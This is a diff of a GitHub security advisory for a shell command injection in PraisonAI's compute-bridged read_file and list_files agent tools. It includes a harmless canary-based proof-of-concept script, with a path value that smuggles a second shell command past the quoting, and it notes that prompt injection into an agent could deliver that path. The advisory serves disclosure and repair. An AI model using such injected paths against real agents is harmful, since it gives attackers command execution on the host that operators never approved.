Update GHSA-w6h2-fr4q-xvxv title and description

advisories/github-reviewed/2026/06/GHSA-w6h2-fr4q-xvxv/GHSA-w6h2-fr4q-xvxv.json

@@ -6,8 +6,8 @@
   "aliases": [
     "CVE-2026-57117"
   ],
-  "summary": "PraisonAI: Compute-bridged file tools allow shell command injection",
-  "details": "# Compute-bridged file tools allow shell command injection\n\n## Summary\n\n`LocalManagedAgent` / `SandboxedAgent` compute bridging wraps\n`read_file`, `list_files`, and `write_file` when a compute provider is\nattached. The bridge converts those file operations into shell command strings\nusing raw path arguments, then sends those strings to shell-backed compute\nproviders.\n\nAn attacker who can influence a file-tool path argument can break out of the\nquoted path and execute arbitrary shell commands in the compute environment.\nWith `compute=\"local\"`, commands execute through the local subprocess compute\nprovider on the host. With Docker, commands execute in the container.\n\n## Affected Product\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `praisonai`\n- Component: `src/praisonai/praisonai/integrations/managed_local.py`\n- Confirmed affected:\n  - `v4.6.10`\n  - `v4.6.56`\n  - `v4.6.57`\n  - current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Confirmed not affected:\n  - `v4.6.9`\n  - `v4.6.1`\n  - `v4.5.149`\n- Suggested affected range: `>= 4.6.10, <= 4.6.57`\n\n## Root Cause\n\nCurrent `managed_local.py` defines the bridged tool set:\n\n```python\ncompute_bridged_tools = {\"execute_command\", \"read_file\", \"write_file\", \"list_files\"}\n```\n\nFor file tools, `_bridge_file_tool()` constructs shell command strings:\n\n```python\ncommand = f'cat \"{filepath}\"'\ncommand = f'ls -la \"{directory}\"'\ncommand = f'cat > \"{filepath}\" << \"EOF\"\\n{content}\\nEOF'\n```\n\nThe local compute provider executes the string with\n`asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it\nwith `[\"sh\", \"-c\", command]`.\n\nThe bridge keeps the low-risk `read_file` / `list_files` tool names and\nsignatures while changing their execution primitive into shell interpretation.\n\n## Why This Is Not Intended Behavior\n\nCompute bridging itself is documented and intentional. The vulnerability is\nthat file path data is interpreted as shell syntax.\n\nThe normal `read_file` and `list_files` implementations treat the same payload\nas a literal path and do not expand shell metacharacters. The approval registry\nalso marks `execute_command` as `critical`, while `read_file` and `list_files`\nare not dangerous-tool entries.\n\n## Impact\n\nAn application that exposes a PraisonAI agent using `LocalManagedAgent` or\n`SandboxedAgent` with a compute provider and a restricted file-tool set can be\ntricked into executing shell commands through a path argument to `read_file` or\n`list_files`.\n\nThis can bypass least-privilege tool configuration and tool-approval\nexpectations. A prompt-injection path, chat endpoint, automation webhook, or\nother user-controlled agent task can supply the file path argument without the\noperator granting `execute_command`.\n\n## Local PoV\n\nThe PoV is local-only and harmless. It uses an environment canary and compares\nnormal file tools against compute-bridged file tools.\n\nMinimal inline reproducer:\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig\nfrom praisonaiagents.tools import list_files, read_file\n\nworkdir = Path(\".prai-cand-006-pov-workdir\")\nworkdir.mkdir(exist_ok=True)\n(workdir / \"safe.txt\").write_text(\"SAFE_CONTENT\\n\", encoding=\"utf-8\")\n\ncanary = \"PRAISONAI_CAND_006_COMMAND_EXECUTED\"\nos.environ[\"PRAI_CAND_006_CANARY\"] = canary\npayload = 'missing\"; printf \"$PRAI_CAND_006_CANARY\"; #'\n\n# Control: normal file tools treat the payload as a literal path.\nnormal_read = read_file(str(workdir / payload))\nnormal_list = str(list_files(str(workdir) + '\"; printf \"$PRAI_CAND_006_CANARY\"; #'))\n\ncfg = LocalManagedConfig(\n    name=\"prai-cand-006-poc\",\n    tools=[\"read_file\", \"list_files\"],\n    working_dir=str(workdir),\n)\nmanaged = LocalManagedAgent(config=cfg, compute=\"local\")\ntools = {tool.__name__: tool for tool in managed._resolve_tools()}\n\nbridged_read = tools[\"read_file\"](payload)\nbridged_list = tools[\"list_files\"]('.\"; printf \"$PRAI_CAND_006_CANARY\"; #')\n\nprint(\"normal_read_contains_canary\", canary in normal_read)\nprint(\"normal_list_contains_canary\", canary in normal_list)\nprint(\"bridged_read_contains_canary\", canary in bridged_read)\nprint(\"bridged_list_contains_canary\", canary in bridged_list)\n```\n\nCommand:\n\n```bash\npython3 \\\n  submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \\\n  --repo artifacts/repos/praisonai-current\n```\n\nCurrent-head result:\n\n```json\n{\n  \"describe\": \"v4.6.57-4-g2f9677ab\",\n  \"vulnerable\": true,\n  \"normal_controls\": {\n    \"read_file_payload_contains_canary\": false,\n    \"list_files_payload_contains_canary\": false\n  },\n  \"bridged_results\": {\n    \"read_file_payload_contains_canary\": true,\n    \"list_files_payload_contains_canary\": true\n  },\n  \"approval_registry\": {\n    \"execute_command_risk\": \"critical\",\n    \"read_file_risk\": null,\n    \"list_files_risk\": null\n  }\n}\n```\n\nThe payload used by the PoV is:\n\n```text\nmissing\"; printf \"$PRAI_CAND_006_CANARY\"; #\n```\n\nNormal `read_file` treats this as a literal missing filename. The bridged tool\nconstructs:\n\n```sh\ncat \"missing\"; printf \"$PRAI_CAND_006_CANARY\"; #\"\n```\n\nand returns the canary from the compute shell.\n\n## Suggested Fix\n\nDo not implement file operations by constructing shell command strings from\npath/content arguments.\n\nPreferred fix:\n\n1. Add provider-native file APIs for read, write, and list operations, or pass\n   arguments as structured argv where the provider supports it.\n2. Preserve the normal file-tool path validation and workspace boundary checks\n   for compute-bridged file tools.\n3. Treat `write_file` content as data, not shell source. The current heredoc\n   construction is also unsafe if content can contain the delimiter.\n4. Add regression tests that use paths containing `\"`, `;`, `$()`, backticks,\n   newline, and `#` and assert no shell execution occurs.\n5. Keep `execute_command` as the only bridge path that intentionally accepts a\n   shell command string, with critical approval semantics.\n\nA minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from\n`compute_bridged_tools` until safe provider-native file operations exist.\n\n## Suggested Severity\n\nThe vector assumes an attacker has low-privilege access to an agent interface\nthat can request file-tool use. If a deployment exposes such an agent without\nauthentication, `PR:N` may be appropriate.",
+  "summary": "Compute-Bridged File Tools Allow Shell Command Injection",
+  "details": "## Summary\n\n`LocalManagedAgent` / `SandboxedAgent` compute bridging wraps `read_file`, `list_files`, and `write_file` when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.\n\nAn attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With `compute=\"local\"`, commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.\n\n## Technical Details\n\nCurrent `managed_local.py` defines the bridged tool set:\n\n```python\ncompute_bridged_tools = {\"execute_command\", \"read_file\", \"write_file\", \"list_files\"}\n```\n\nFor file tools, `_bridge_file_tool()` constructs shell command strings:\n\n```python\ncommand = f'cat \"{filepath}\"'\ncommand = f'ls -la \"{directory}\"'\ncommand = f'cat > \"{filepath}\" << \"EOF\"\\n{content}\\nEOF'\n```\n\nThe local compute provider executes the string with `asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it with `[\"sh\", \"-c\", command]`.\n\nThe bridge keeps the low-risk `read_file` / `list_files` tool names and signatures while changing their execution primitive into shell interpretation.\n\n### Why This Is Not Intended Behavior\n\nCompute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.\n\nThe normal `read_file` and `list_files` implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks `execute_command` as `critical`, while `read_file` and `list_files` are not dangerous-tool entries.\n\n## PoV\n\nThe PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.\n\nMinimal inline reproducer:\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig\nfrom praisonaiagents.tools import list_files, read_file\n\nworkdir = Path(\".poc\")\nworkdir.mkdir(exist_ok=True)\n(workdir / \"safe.txt\").write_text(\"SAFE_CONTENT\\n\", encoding=\"utf-8\")\n\ncanary = \"PRAISONAI_COMMAND_EXECUTED\"\nos.environ[\"poc\"] = canary\npayload = 'missing\"; printf \"$poc\"; #'\n\nnormal_read = read_file(str(workdir / payload))\nnormal_list = str(list_files(str(workdir) + '\"; printf \"$poc\"; #'))\n\ncfg = LocalManagedConfig(\n    name=\"poc\",\n    tools=[\"read_file\", \"list_files\"],\n    working_dir=str(workdir),\n)\nmanaged = LocalManagedAgent(config=cfg, compute=\"local\")\ntools = {tool.__name__: tool for tool in managed._resolve_tools()}\n\nbridged_read = tools[\"read_file\"](payload)\nbridged_list = tools[\"list_files\"]('.\"; printf \"$poc\"; #')\n\nprint(\"normal_read_contains_canary\", canary in normal_read)\nprint(\"normal_list_contains_canary\", canary in normal_list)\nprint(\"bridged_read_contains_canary\", canary in bridged_read)\nprint(\"bridged_list_contains_canary\", canary in bridged_list)\n```\n\nCommand:\n\n```bash\npython3 \\\n  poc/poc.py \\\n  --repo /path/to/PraisonAI\n```\n\nCurrent-head result:\n\n```json\n{\n  \"describe\": \"v4.6.57-4-g2f9677ab\",\n  \"vulnerable\": true,\n  \"normal_controls\": {\n    \"read_file_payload_contains_canary\": false,\n    \"list_files_payload_contains_canary\": false\n  },\n  \"bridged_results\": {\n    \"read_file_payload_contains_canary\": true,\n    \"list_files_payload_contains_canary\": true\n  },\n  \"approval_registry\": {\n    \"execute_command_risk\": \"critical\",\n    \"read_file_risk\": null,\n    \"list_files_risk\": null\n  }\n}\n```\n\nThe payload used by the PoV is:\n\n```text\nmissing\"; printf \"$poc\"; #\n```\n\nNormal `read_file` treats this as a literal missing filename. The bridged tool constructs:\n\n```sh\ncat \"missing\"; printf \"$poc\"; #\"\n```\n\nand returns the canary from the compute shell.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAn application that exposes a PraisonAI agent using `LocalManagedAgent` or `SandboxedAgent` with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to `read_file` or `list_files`.\n\nThis can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting `execute_command`.\n\n### Severity\n\n- Severity: High\n- CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n- Score: 8.8\n- CWE: `CWE-78`, with secondary `CWE-863`\n\nThe vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, `PR:N` may be appropriate.\n\n## Suggested Fix\n\nDo not implement file operations by constructing shell command strings from path/content arguments.\n\nPreferred fix:\n\n1. Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it.\n2. Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools.\n3. Treat `write_file` content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter.\n4. Add regression tests that use paths containing `\"`, `;`, `$()`, backticks, newline, and `#` and assert no shell execution occurs.\n5. Keep `execute_command` as the only bridge path that intentionally accepts a shell command string, with critical approval semantics.\n\nA minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from `compute_bridged_tools` until safe provider-native file operations exist.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `praisonai`\n- Component: `src/praisonai/praisonai/integrations/managed_local.py`\n- Confirmed affected:\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Confirmed not affected:\n- `v4.6.9`\n- `v4.6.1`\n- `v4.5.149`\n- Suggested affected range: `>= 4.6.10, <= 4.6.57`\n\n## Advisory History\n\nChecked visible PraisonAI advisories and prior submissions for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate is identified in this report text. Adjacent advisories, where relevant, are listed in References or discussed above.\n\n## References\n\n- https://github.com/MervinPraison/PraisonAI\n- https://cwe.mitre.org/data/definitions/78.html\n",
   "severity": [
     {
       "type": "CVSS_V3",
@@ -58,4 +58,4 @@
     "github_reviewed_at": "2026-06-18T13:55:08Z",
     "nvd_published_at": null
   }
-}
+}